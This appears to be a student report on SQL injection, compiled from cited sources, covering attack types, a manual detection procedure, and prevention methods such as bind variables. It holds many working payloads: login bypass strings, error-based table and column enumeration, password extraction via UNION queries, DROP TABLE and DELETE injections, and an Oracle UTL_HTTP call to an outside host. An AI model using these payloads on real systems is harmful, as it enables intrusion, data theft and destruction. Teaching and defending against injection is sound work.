SQL Injection

Introduction

The World Wide Web has experienced remarkable growth in recent years. Businesses,
individuals, and governments have found that web applications can offer effective,
efficient and reliable solutions to the challenges of communicating and conducting
commerce in the Twenty-first century. However, the security of Web applications has
become increasingly important in the last decade. With more and more Web-based
applications deal with sensitive financial and medical data, it is crucial to protect these
applications from hacker attacks. A security assessment by the Application Defense
Center, which included more than 250 Web applications from e-commerce, online
banking, enterprise collaboration, and supply chain management sites, concluded that at
least 92% of Web applications are vulnerable to some form of attack.

Much vulnerability in web applications is caused by permitting unchecked input to take

control of the application, which an attacker will turn to unexpected purposes. SQL
Injection is the most common type of technique used. Beside SQL Injection the other
type of attacks are:

• Shell injection.
• Scripting language injection.
• File inclusion.
• XML injection.
• SQL Injection
• XPath injection.
• LDAP injection.
• SMTP injection.

What is SQL Injection?

1
 SQL Injection

SQL Injection is a technique to hack the database. It is a type of security exploit in which
the attacker adds the SQL code to a Web form input box to gain access to resources or
make changes to data.

What are SQL Injection attacks?

An SQL injection attack is an type of attack where a user of your form enters a piece of
SQL code into it, and wraps it in special characters in such a way that the data entered
doesn't get used for the purpose you had intended, instead it gets used to corrupt or
destroy your database.

When attacker enters the data into the form, that data is directly used to build a dynamic
SQL query to retrieve the data from database. Such malicious code injection is called as
an SQL Injection attack.

There are two form of SQL Injection attacks :

1. Form Injection.
2. URL Injection.

What’s vulnerable?

A web application is vulnerable to SQL injection for only one reason – end user string
input is not properly validated and is passed to a dynamic SQL statement. The string
input is usually passed directly to the SQL statement. However, the user input may be
stored in the database and later passed to a dynamic SQL statement. Because of the
stateless nature of many web applications, it is common to write data to the database
between web pages. This indirect type of attack is much more complex and requires in-
depth knowledge of the application.

What’s not vulnerable?

SQL Statements using bind variables are generally immune to SQL Injection attacks as
the Oracle database will use the value of the bind variable exclusively and not interpret

2
 SQL Injection

the contents of the variable in any way. PL/SQL and JDBC allow for bind variables. Bind
variables should be extensively used for both security and performance reasons.

[Stephen Kost, "An Introduction to SQL Injection Attacks for Oracle Developers"]

3
 SQL Injection

Working of SQL Injection

The principles behind a SQL injection are simple and these types of attacks are easy to
execute and master. To exploit a SQL injection flaw, the attacker must find a parameter
that the web application passes through to a database. By carefully embedding malicious
SQL commands into the content of the parameter, the attacker can trick the web
application into forwarding a malicious query to the database.

For example, consider the login form which accepts the username and password from the
user.

The values supplied in the field “Username” and “Password” are directly used to build
the SQL Query like :

SELECT * FROM customers

WHERE name = ‘ & name & ’ AND password = ‘ & password’

Now, Suppose the user supplied the Username =”Admin” and Password=”magic”. The
query will become :

SELECT * FROM customers

WHERE name = ‘Admin’ AND password = ‘magic’

This will work with no problem. But suppose the user supplied some poorly devised
string of code then that will allow the attacker to by-pass the authentication and access

4
 SQL Injection

the information from the database. i.e. if user supplied username=’ OR 1=1—then the
query will be passed as :

SELECT * FROM customers

WHERE name = ‘’ OR 1=1--’ AND password = ‘ ’;

It Works as follows:

‘ : Closes the user input field.

OR : Continues the SQL query so that the process should equal to what come
before OR what come after.
1=1 : A statement which is always true.
-- : Comments outs the rest of the lines so that it won’t be processed.

The data we're filling is used the WHERE clause. And Because the application is not
really thinking about the query - merely constructing a string - our use of OR has turned
a single-component WHERE clause into a two-component one, and the 1=1 clause is
guaranteed to be true no matter what the first clause is. The query means that “Select
everything from the table customers if the name equals “nothing” Or 1=1. Ignore
anything that follows on this line.

Seeing as 1 will always equal 1, the server has received a true statement and is fooled into
allowing an attacker more access than they should have. The code that refers to the
password input field is never run by the server and therefore does not apply.

Some more examples :

Example 1: Getting a column name from database error message.

Consider the a login form supplied with following arguments :

Username: ' having 1=1 ---

Password: [Anything]

5
 SQL Injection

When the user clicks on the submit button to start the login process, the SQL query
causes ASP to spit the following error to the browser:

“Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'users.userName' is invalid in the select list because it is not contained in
an aggregate function and there is no GROUP BY clause.
/login.asp, line 16”

This error message now tells the unauthorized user the name of one field from the
database that application is trying to validate the login credentials against: users.
username. Using the name of this field, attacker can now use SQL Server's LIKE clause
to login with the following credentials:

Username: ' OR users.userName LIKE 'a%' --

Password: [Anything]

This performs an injected SQL query against our users table:

SELECT userName FROM users

WHERE userName='' OR users.userName LIKE 'a%' --' and userPass=''

The query grabs the userName field of the first row whose userName field starts with ‘a’.

Example 2: Creating a new username and password.

To create a new user record, the attacker must have the information about the table name
and column names it that table. For that the user might use the following technique. First
the user supply a input at username field like:

Username: ' having 1=1--

This provokes the following error:

6
 SQL Injection

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid
in the select list because it is not contained in an aggregate function and there is
no GROUP BY clause.
/process_login.asp, line 35

So the attacker now knows the table name and column name of the first column in the
query. They can continue through the columns by introducing each field into a 'group by'
clause, as follows:

Username: ' group by users.id having 1=1--

The above input generates the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is
invalid in the select list because it is not contained in either an aggregate function
or the GROUP BY clause.
/process_login.asp, line 35

Eventually the attacker arrives at the following Username :

' group by users.id, users.username, users.password, users.privs having 1=1--

… which produces no error, and is functionally equivalent to:

select * from users where username = ''

So the attacker now knows that the query is referencing only the 'users' table, and is using
the columns 'id, username, password, privs', in that order.

It would be useful if he could determine the types of each column. This can be achieved
using a 'type conversion' error message, like this:

Username: ' union select sum(username) from users--

7
 SQL Injection

This takes advantage of the fact that SQL server attempts to apply the 'sum' clause before
determining whether the number of fields in the two rowsets is equal. Attempting to
calculate the 'sum' of a textual field results in this message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

..which tells us that the 'username' field has type 'varchar'. If, on the other hand, we
attempt to calculate the sum() of a numeric type, we get an error message telling us that
the number of fields in the two rowsets don't match:

Username: ' union select sum(id) from users--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
/process_login.asp, line 35

We can use this technique to approximately determine the type of any column of any
table in the database.

This allows the attacker to create a well - formed 'insert' query, like this:

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

8
 SQL Injection

Example 3 :Dropping a table from database.

Several databases use semicolon (;) to delimit a query. The use of a semi-colon allows
multiple queries to be submitted as one batch and executed sequentially. The attacker
might use this to inject the database. For example,

Username: ' OR 1=1; DROP TABLE users; --

Password: [Anything]

Then the query would execute in two parts. Firstly, it would select the userName field for
all rows in the users table. Secondly, it would delete the users table, so that when we went
to login next time, we would see the following error:

Microsoft OLE DB Provider for SQL Server (0x80040E37)

Invalid object name 'users'.
/login.asp, line 16

[http://www.sitepoint.com/article/sql-injection-attacks-safe.htm]

[ Chris Anley, “Advance SQL Injection”,2002]

9
 SQL Injection

Types of SQL Injection attacks

The SQL Injection attacks are basically divided into 2 types :

1. First Order attacks

2. Second Order attacks

First Order attacks

First order attacks are those attacks when the attacker receives the desired result
immediately, either by direct response from the application they are interacting with or
through some other response mechanism, such as E-mail.

For example, suppose a form ask the email id of the user. If the user provided the correct
email id with no extra code then the query will run properly. But suppose if the user enter
a “LIKE” clause with the email id then the database will return the matching criteria to
the user immediately.

SELECT email, passed, login_id, full_name

FROM members
WHERE email=’ x’ OR full_name LIKE ‘%Bob%’;

Here, the database will return information of any user where the name starts with “Bob”.
As, the attacker is getting the result immediately, this type of attacks are called first order
attacks.

Second Order attacks

A Second order attack can be classified as the process in which the malicious code is
injected into a web-based application and not immediately executed, but is stored by
application (e.g. temporarily cached, logged, stored in database) and then later retrieved,
rendered or executed by the victim.

10
 SQL Injection

This type of attacks often occurs because once data is in the database; it is often thought
of as being clean and is not checked again. However, the data is frequently used in
queries where it can still cause harm.

Consider an application that permits the users to set up some favourite search criteria.
When the user defines the search parameters, the application escapes out all the
apostrophes so that a first-order attack cannot occur when the data for the favourite is
inserted into the database. However, when the user comes to perform the search, the data
is taken from the database and used to form a second query which then performs the
actual search. It is this second query which is the victim of the attack.

For example, if the user types the following as the search criteria:

'; DELETE Orders;--

The application takes this input and escapes out apostrophe so that the final SQL
statement might look like this :

INSERT INTO favourites (UserID, FriendlyName, Criteria)

VALUES(123, 'My Attack', ''';DELETE Orders;--')

which is entered into the database without problems. However, when the user selects their
favourite search, the data is retrieved to the application, which forms a new SQL
command and executes that.

The second query to the database, when fully expanded, now looks like this:

SELECT * FROM Products

WHERE ProductName = ''; DELETE Orders;--

It will return no results for the expected query, but the company has just lost all of their
orders. These types of attacks are known as second order attacks.

[http://www.codeproject.com/KB/database/SqlInjectionAttacks.aspx]

11
 SQL Injection

Methods of SQL Injection

There are two methods for attacking through SQL Injection. They are

1. Normal SQL Injection

2. Blind SQL Injection

Normal SQL Injection

In this type of attacks, when an attacker tries to execute SQL Query, sometimes the server
returns an error page to the user which describes the type and cause of the error in detail.
Thus, the attacker can try to match his query with the developers query by using the
information contained in the error messages returned in response by the database server.

By appending a union select statement to the parameter, the attacker can test to see if he
can gain access to the database: For example,

http://example/article.asp?ID=2+union+all+select+name+from+sysobjects

The SQL server then may return the database error similar to this :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft] [ODBC SQL Server Driver] [SQL Server] All
queries in the SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.

This tells the attacker that he must now guess the correct number of columns for his SQL
statement to work.

12
 SQL Injection

Blind SQL Injection

Blind SQL injection is identical to normal SQL Injection except that when an attacker
attempts to exploit an application, rather then getting a useful error message, they get a
generic page specified by the developer instead. This makes exploiting a potential SQL
Injection attack more difficult but not impossible. An attacker can still steal data by
asking a series of True and False questions through SQL statements.

• Detecting Blind SQL Injection

Executing the following request to a web site:

http://example/article.asp?ID=2+and+1=1

Should return the same web page as:

http://example/article.asp?ID=2

because the SQL statement 'and 1=1' is always true.

Executing the following request to a web site:

http://example/article.asp?ID=2+and+1=0

would then cause the web site to return a friendly error or no page at all. This is because
the SQL statement "and 1=0" is always false.

Once the attacker discovers that a site is susceptible to Blind SQL Injection, he can
exploit this vulnerability more easily, in some cases, than by using normal SQL Injection.

13
 SQL Injection

Categories Of SQL Injection Attacks

There are four main categories of SQL Injection attacks against databases. They are:

1. SQL Manipulation

2. Code Injection

3. Function Call Injection

4. Buffer Overflows

SQL Manipulation

The most common type of SQL Injection attack is SQL manipulation. The attacker
attempts to modify the existing SQL statement by adding elements to the WHERE clause
or extending the SQL statement with set operators like UNION, INTERSECT, or
MINUS. There are other possible variations, but these are the most significant examples.

The classic SQL manipulation is during the login authentication. A simplistic web
application may check user authentication by executing the following query and checking
to see if any rows were returned –

SELECT * FROM users

WHERE username = 'bob'
And PASSWORD = 'mypassword'

The attacker attempts to manipulate the SQL statement to execute as:

SELECT * FROM users

WHERE username = 'bob'
AND Password = 'mypassword' or 'a' = 'a'--

Based on operator precedence, the WHERE clause is true for every row and the attacker
has gained access to the application.

14
 SQL Injection

The set operator UNION is frequently used in SQL injection attacks. The goal is to
manipulate a SQL statement into returning rows from another table. A web form may
execute the following query to return a list of available products:

SELECT product_name
FROM all_products
WHERE product_name like '%Chairs%'

The attacker attempts to manipulate the SQL statement to execute as:

SELECT product_name FROM all_products

WHERE product_name like '%Chairs'
UNION
SELECT username FROM dba_users
WHERE username like '%';

The list returned to the web form will include all the selected products, but also all the
database users in the application.

Code Injection

Code injection attacks attempt to add additional SQL statements or commands to the
existing SQL statement. This type of attack is frequently used against Microsoft SQL
Server applications, but seldom works with an Oracle database. The EXECUTE
statement in SQL Server is a frequent target of SQL injection attacks – there is no
corresponding statement in Oracle.

In PL/SQL and Java, Oracle does not support multiple SQL statements per database
request. Thus, the following common injection attack will not work against an Oracle
database via a PL/SQL or Java application. This statement will result in an error:

SELECT * FROM users WHERE username = 'bob'

AND Password = 'mypassword'; DELETE FROM users
WHERE username = 'admin';

15
 SQL Injection

However, some programming languages or APIs may allow for multiple SQL statements
to be executed.

PL/SQL and Java applications can dynamically execute anonymous PL/SQL blocks,
which are vulnerable to code injection. The following is an example of a PL/SQL block
executed in a web application –

BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); END;

The above example PL/SQL block executes an application stored procedure that encrypts
and saves the user’s password. An attacker will attempt to manipulate the PL/SQL block
to execute as –

BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); DELETE FROM users

WHERE upper(username) = upper('admin'); END;

Function Call Injection

Function call injection is the insertion of Oracle database functions or custom functions
into a vulnerable SQL statement. These function calls can be used to make operating
system calls or manipulate data in the database.

The Oracle database allows functions or functions in packages to be executed as part of a

SQL statement. By default, Oracle supplies over 1,000 functions in about 175 standard
database packages, although only a few of these functions may be useful in a SQL
injection attack. Some of these functions do perform network activities which can be
exploited. Any custom function or function residing in a custom package can also be
executed in a SQL statement.

Functions executed as part of a SQL SELECT statement can not make any changes to the
database unless the function is marked as “PRAGMA TRANSACTION”. None of the
standard Oracle functions are executed as autonomous transactions. Functions executed
in INSERT, UPDATE, or DELETE statements are able to modify data in the database.

16
 SQL Injection

Using the standard Oracle functions, an attacker can send information from the database
to a remote computer or execute other attacks from the database server. Many native
Oracle applications leverage database packages which can be exploited by an attacker.
These custom packages may include functions to change passwords or perform other
sensitive application transactions.

The issue with function call injection is that any dynamically generated SQL statement is
vulnerable. Even the simplest SQL statements can be effectively exploited.

The following example demonstrates even the most simple of SQL statements can be
vulnerable. Application developers will sometimes use database functions instead of
native code (e.g., Java) to perform common tasks. There is no direct equivalent of the
TRANSLATE database function in Java, so the programmer decided to use a SQL
statement.

SELECT TRANSLATE('user input',

'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;

This SQL statement is not vulnerable to other types of injection attacks, but is easily
manipulated through a function injection attack. The attacker attempts to manipulate the
SQL statement to execute as:

SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '',

'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;

The changed SQL statement will request a page from a web server. The attacker could
manipulate the string and URL to include other functions in order to retrieve useful
information from the database server and send it to the web server in the URL. Since the

17
 SQL Injection

Oracle database server is most likely behind a firewall, it could also be used to attack
other servers on the internal network.

Custom functions and functions in custom packages can also be executed. An example
would be a custom application has the function ADDUSER in the custom package
MYAPPADMIN. The developer marked the function as “PRAGMA TRANSACTION”,
so it could be executed under any special circumstances that the application might
encounter. Since it is marked “PRAGMA TRANSACTION”, it can write to the database
even in a SELECT statement.

SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '',

'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;

Executing the above SQL statement, the attacker is able to create new application users.

Buffer Overflows

A number of standard Oracle database functions are susceptible to buffer overflows,

which can be exploited through a SQL injection attack in an un-patched database. Known
buffer overflows exist in the standard database functions like:

 tz_offset
 to_timestamp_tz
 bfilename, from_tz
 numtoyminterval
 numtodsinterval.

A buffer overflow attack using tz_offset, to_timestamp_tz, bfilename, from_tz,

numtoyminterval, or numtodsinterval is executed using the function injection methods
described previously. By exploiting the buffer overflow via a SQL injection attack,
remote access to the operating system can be achieved.

18
 SQL Injection

In addition, most application and web servers do not gracefully handle the loss of a
database connection due to a buffer overflow. Usually, the web process will hang until the
connection to the client is terminated, thus making this a very effective denial of service
attack.

[Stephen Kost, "An Introduction to SQL Injection Attacks for Oracle Developers"]

19
 SQL Injection

Detection Of Vulnerability

To detect whether your application is vulnerable to SQL injection attacks, follow the
given steps:

Step 1 : Open the Web site in a browser.

Step 2 : Mouse over the links of the Web site with your cursor while paying attention
to the bottom status bar. You will notice the URLs that the links point to. Try to find a
URL with parameters in it (Ex. http://www.site.com/articleid.asp?id=42). Most SQL
injection problems are present when the file extensions are “.asp” or “.cfm”. When trying
to test a site for SQL injection vulnerabilities, look for these files specifically. And if you
don’t see any URLs in the status bar, then just click on links, and watch the address bar
until you find a URL that has parameters.

Step 3 : Once a URL with parameters has been found, click the link, and go to that
page. In the address bar, you should now see the URL that was seen in the status bar, one
having parameter values.

Step 4 : Here is where the actual testing for hacker protection takes place. There are 2
methods for testing script for SQL injection. Be sure to test each parameter value one at a
time with both methods.

Method 1. Go to the address bar, click your cursor, and highlight a parameter value (Ex.
Highlight the word value in “name=value”), and replace it with a single quote (‘).
It should now look like “name=’ ”.

Method 2. Go to the address bar, click your cursor, and put a single quote (‘) in the
middle of the value. It should now look like “name=val’ue”

Step 5 : Click the ‘GO’ button to send your request to the Web Server.

Step 6 : Analyse the response from the Web server for any error messages. Most
database error messages will look similar like:

20
 SQL Injection

Example Error 1: Microsoft OLE DB Provider for SQL Server error

'80040e14'Unclosed quotation mark before the character string '51 ORDER BY
some_name'./some_directory/some_file.asp, line 5

Example Error 2: ODBC Error Code = S1000 (General error

[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended.

Step 7 : Sometimes the error message is not obvious and is hidden in the source of
the page. To look for it, you must view the HTML source of the page and search for the
error. To do this in Internet Explorer, click the ‘View’ menu, and select the
‘Source’option. This will cause Notepad to open with the HTML source of the page. In
Notepad, click the ‘Edit’ menu, and select ‘Find’. A dialog box will appear that will ask
you to 'Find What’. Type the phrase ‘Microsoft OLEDB’ (ODBC), in the text box and
then click ‘Find Next’.

If Either Step 6 or 7 is successful, then the Web site is vulnerable to SQL injection.

21
 SQL Injection

Preventing SQL Injection Attacks

SQL Injection attacks normally occur due to unfiltered user input or some over-privileged
database logins. Some of the common mistakes which make your application susceptible
to SQL Injection attacks are:

 Weak input validation.

 Dynamic construction of SQL statements with out use of proper type safe parameters.
 Use of over privileged database logins.

SQL Injection attacks can be easily defeated with simple programming changes, however,
developers must be disciplined enough to apply the following methods to every web
accessible procedure and function. Every dynamic SQL statement must be protected. A
single unprotected SQL statement can result in comprising of the application, data or
database server.

Following are some techniques that can be used to prevent SQL Injection attacks :

1. Use Bind Variables

The most powerful protection against SQL injection attacks is the use of bind variables.
Using bind variables will also improve application performance. Application coding
standards should require the use of bind variables in all SQL statements. No SQL
statement should be created by concatenating together strings and passed parameters.

Bind variables should be used for every SQL statement regardless of when or where the
SQL statement is executed. This is Oracle’s internal coding standard and should also be
your organization’s standard. A very complex SQL injection attack could possibly exploit
an application by storing an attack string in the database, which would be later executed
by a dynamic SQL statement.

22
 SQL Injection

2. Validate The Input

Every passed string parameter should be validated. Input validation should be applied
first at the client level. The data passed from the client form must be checked for input
validation at the server level before submitting the query to the database server for
execution. If the data fails to pass the validation process, it should be rejected and error
message should be returned to the user.

Many web applications use hidden fields and other techniques, which also must be
validated. If a bind variable is not being used, special database characters must be
removed or escaped.

For Oracle databases, the only character at issue is a single quote. The simplest method is
to escape all single quotes – Oracle interprets consecutive single quotes as a literal single
quote.

The use of bind variables and escaping of single quotes should not be done for the same
string. A bind variable will store the exact input string in the database and escaping any
single quotes will result in double quotes being stored in the database.

3. Function Security

Standard and custom database functions can be exploited in SQL injection attacks. Many
of these functions can be used effectively in an attack. Oracle is delivered with hundreds
of standard functions and by default all have grants to PUBLIC. The application may
have additional functions which perform operations like changing passwords or creating
users that could be exploited.

All functions that are not absolutely necessary to the application should be restricted.

4. Limit The Open-Ended Input

23
 SQL Injection

Try to limit the open-ended input wherever possible, by using select boxes instead of Text
boxes. Application must apply client side validation for all inputs. For validation only the
option in the select box should be taken up and any other option should be rejected.

5. Verify The Type Of Data

Verify the data type using ISNUMERIC or equivalent function before passing it into a
SQL statement. For string data replace single quotes with two single quotes using the
replace function or equivalent.

Good string = replace(input string,','');

6. Use Stored Procedures

Use stored procedures avoid direct access to the table. Stored procedures that are not
being used may be deleted such as: master_xp_cmdshell, xp_sendmail, xp_startmail,
sp_makewebtask.

7. Never build dynamic SQL statement directly from the user input and never
concatenate user input, with SQL statements, which is not validated.
8. Filter out characters like slash, backslash, extended characters like NULL, carry
return, new line in all strings from user input and parameters from URL.

9. Privileges of the user account used in the application for executing SQL statements on
the database must be defined.
10. Length of the user input should be limited.
11. Whenever possible reject input that contains following potentially dangerous
characters :

Character Meaning

; Query Delimiter.
' Character Data String Delimiter
-- Single Line Comment.

Some Useful Tricks

24
 SQL Injection

1. How to get data from the database using ODBC error message ?

We can use information from error message produced by the MS SQL Server to get
almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10
UNION
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables

in the server. The TABLE_NAME field obviously contains the name of each table in the
database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

This should return the first table name in the database. When we UNION this string value
to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This
will produce an error, since we cannot convert nvarchar to int. The server will display the
following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an
integer. In this case, we have obtained the first table name in the database, which is
“table1".

To get the next table name, we can use the following query:

25
 SQL Injection

http://duck/index.asp?id=10
UNION
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME NOT IN ('table1')--

2. How to get all column names of a table?

We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all

columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column
name:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'
WHERE COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

26
 SQL Injection

3. How to retrieve any data?

Now that we have identified some important tables, and their column, we can use the
same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:
http://duck/index.asp?id=10
UNION
SELECT TOP 1 login_name FROM admin_login--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the
password of "neo" from the database:

http://duck/index.asp?id=10
UNION
SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

[http://www.securiteam.com/securityreviews/]

27
 SQL Injection

Conclusion

SQL Injection is an attack methodology that targets the data residing in a database
through the firewall that shields it.

It attempts to modify the parameters of a Web -based application in order to alter the SQL
statements that are parsed to retrieve data from the database. Database footprinting is the
process of mapping out the tables on the database and is a crucial tool in the hands of an
attacker. Exploits occur due to coding errors as well as inadequate validation checks.
Prevention involves enforcing better coding practices and database administration
procedures.

Remember always patch and update holes because exploits are found commonly and the
attacker is not going to wait.

28